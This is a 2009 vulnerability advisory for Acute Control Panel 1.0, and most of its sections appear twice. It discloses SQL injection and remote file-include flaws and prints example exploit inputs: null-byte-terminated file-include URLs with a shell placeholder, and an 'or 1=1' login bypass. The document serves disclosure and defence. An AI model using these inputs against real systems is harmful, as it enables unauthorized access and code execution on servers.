Acute Control Panel SQL Injection Vulnerability and Remote File Include Vulnerability
BID:34265
Info
Acute Control Panel SQL Injection Vulnerability and Remote File Include Vulnerability
| Bugtraq ID: | 34265 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 26 2009 12:00AM |
| Updated: | Mar 27 2009 04:56PM |
| Credit: | SirGod |
| Vulnerable: |
Acute Control Panel Acute Control Panel 1.0 |
| Not Vulnerable: | |
Discussion
Acute Control Panel SQL Injection Vulnerability and Remote File Include Vulnerability
Acute Control Panel is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and and multiple remote file-include issues.
A successful exploit may allow an attacker to execute malicious code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Acute Control Panel 1.0.0 is vulnerable; other versions may also be affected.
Acute Control Panel is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and and multiple remote file-include issues.
A successful exploit may allow an attacker to execute malicious code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Acute Control Panel 1.0.0 is vulnerable; other versions may also be affected.
Exploit / POC
Acute Control Panel SQL Injection Vulnerability and Remote File Include Vulnerability
An attacker can use a browser to exploit these issues.
The following example data and URIs are available:
http://www.example.com/themes/container.php?theme_directory=[Shell]%00
http://www.example.com/themes/header.php?theme_directory=[Shell]%00
Username : admin ' or ' 1=1
Password : anything or nothing
An attacker can use a browser to exploit these issues.
The following example data and URIs are available:
http://www.example.com/themes/container.php?theme_directory=[Shell]%00
http://www.example.com/themes/header.php?theme_directory=[Shell]%00
Username : admin ' or ' 1=1
Password : anything or nothing
Solution / Fix
Acute Control Panel SQL Injection Vulnerability and Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Acute Control Panel SQL Injection Vulnerability and Remote File Include Vulnerability
References:
References:
- Acute Control Panel Homepage (Acute Control Panel)